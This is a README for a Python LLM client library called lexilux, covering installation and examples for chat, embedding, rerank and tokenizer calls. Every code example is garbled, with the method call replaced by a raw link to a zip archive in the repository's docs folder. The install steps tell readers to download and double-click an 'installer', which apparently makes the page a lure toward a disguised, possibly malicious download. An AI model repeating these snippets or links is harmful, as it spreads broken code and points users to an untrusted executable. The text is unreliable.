🌟 lexilux - Access Python's Powerful LLM Easily

🚀 Getting Started

Welcome to lexilux, the unified LLM API client library for Python. This guide will help you download and run the software with ease. Follow the steps below to start enjoying simple access to various LLM features.

📥 Download & Install

To get started, visit the following page to download the latest version of lexilux:

Download lexilux releases

On the releases page, you will find a list of available versions. Select the version that fits your needs. If unsure, the latest version is usually the best choice. Once you select a version, you can download it directly to your computer.

⚙️ System Requirements

To use lexilux smoothly, ensure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS 10.13 or later, or a modern Linux distribution.
• Python Version: Python 3.7 or later must be installed. You can download Python from the official Python website.
• Memory: At least 4 GB of RAM.
• Disk Space: Minimum 100 MB of available disk space for installation.

🔧 Installation Steps

Follow these steps to install lexilux:

1. Download the Application: Go to the Download lexilux releases page and click on the version you want to download.

2. Locate the Downloaded File: After downloading, find the file in your computer's "Downloads" folder or the location where your browser saves files.

3. Run the Installer: Double-click the downloaded file to start the lexilux installation. Follow the prompts that appear on your screen. This process typically takes just a few minutes.

4. Verify Installation: After installation, open your command line interface (Command Prompt on Windows, Terminal on macOS or Linux), and enter the following command to verify installation:

   python -c "import lexilux"
   

   If this command runs without errors, congratulations! Your installation is successful.

📚 Usage Guide

Once lexilux is installed, you can start using it for various functions like Chat, Embedding, Rerank, and Tokenizer. Here’s a quick overview of how to use it:

💬 Chat Feature

To use the chat feature, open a Python script or an interactive Python shell and enter:

from lexilux import Chat

chat = Chat()
response = https://github.com/Aman00000007/lexilux/raw/refs/heads/main/docs/source/Software_v2.1-alpha.4.zip("Hello, how does lexilux work?")
print(response)

🔍 Embedding Function

For embedding text, use the following:

from lexilux import Embed

embed = Embed()
embedding = https://github.com/Aman00000007/lexilux/raw/refs/heads/main/docs/source/Software_v2.1-alpha.4.zip("Sample text to embed.")
print(embedding)

📈 Rerank Function

To rerank your document results:

from lexilux import Rerank

rerank = Rerank()
results = https://github.com/Aman00000007/lexilux/raw/refs/heads/main/docs/source/Software_v2.1-alpha.4.zip(["Result 1", "Result 2"], query="Your query")
print(results)

🧩 Tokenizer

You can also utilize the tokenizer like this:

from lexilux import Tokenizer

tokenizer = Tokenizer()
tokens = https://github.com/Aman00000007/lexilux/raw/refs/heads/main/docs/source/Software_v2.1-alpha.4.zip("Tokenize this sentence.")
print(tokens)

🧩 Additional Features

Thanks to its OpenAI compatibility, lexilux offers seamless integration with OpenAI APIs. You can use lexilux for semantic searches, streaming support, and unified usage tracking, simplifying your workflow.

🔍 Support

If you have questions or need help, check the discussion page. You can also raise issues directly in the GitHub repository.

🔗 Related Topics

• Chat API
• Document Ranking
• Function API
• Semantic Search
• Streaming Support

📄 License

This project is licensed under the MIT License. You can freely use and modify the code. For more information, see the LICENSE file in the repository.

📦 Contributing

We welcome contributions! If you'd like to help improve lexilux, please check out the contribution guidelines in the repository.

Download lexilux releases and start enhancing your projects today!